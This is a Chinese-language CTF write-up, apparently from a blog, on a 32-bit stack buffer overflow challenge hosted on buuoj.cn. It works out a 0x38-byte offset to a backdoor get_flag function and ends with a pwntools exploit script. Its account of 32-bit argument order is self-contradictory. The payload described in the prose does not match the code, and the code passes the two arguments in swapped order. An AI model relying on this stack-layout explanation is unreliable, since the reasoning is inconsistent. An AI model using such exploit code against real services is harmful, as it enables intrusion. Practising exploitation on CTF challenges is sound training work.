ScreenShot_2026-03-24_112600_678.png
今天再做一题
先运行看看咸淡:
ScreenShot_2026-03-24_102311_631.png
ok,32位小端序,没啥保护,放ida看主要代码
ScreenShot_2026-03-24_105838_226.png
ScreenShot_2026-03-24_105831_236.png
这里看到主函数存在栈溢出
这里注意一个坑:进入main函数时并没有push ebp,所以栈底没有ebp,不用覆盖,有点反直觉。
因为看汇编代码的只需要填充0x38个垃圾字符就可以了

接下来就是看后门函数逻辑:get_flag(a1,a2)
可以看代码看出:只要a1=814536271,a2=425138641就可以进入打印逻辑:
getc 每调用一次,文件内部的读取位置就自动往后跳一位,在用do_while循环逐个打印flag.txt的内容

所以构造paylaod: 0x38个垃圾字符 + get_flag的地址 + 参数1 + 参数2

但是这里出了问题,因为不清楚32位程序栈溢出后的后门函数以及参数的构造顺序

手动调用函数时:
填充垃圾数据 (覆盖到 EBP) +
EBP 占位 (4字节) +
返回地址 (后门函数地址) +
函数退出地址 (4 字节) +
参数1 (左) +
参数2 (中) +
参数3 (右)

call调用函数时:
填充垃圾数据 (覆盖到 EBP) +
EBP 占位 (4字节) +
返回地址 (后门函数地址) +
函数退出地址 (4 字节) +
参数1 (右) +
参数2 (中) +
参数3 (左)

所以最终paylaod: 0x38个垃圾字符 + exit地址 + get_flag的地址 + 参数1 + 参数2
exp:

from pwn import *

p = remote('node5.buuoj.cn', 28641)
offset = 0x38
get_flag_addr = 0x80489A0
exit_addr = 0x804E6A0
a1 = 814536271
a2 = 425138641
payload = b'A' * offset + p32(get_flag_addr) + p32(exit_addr) + p32(a2) + p32(a1)
p.sendline(payload)
print(p.recvall().decode())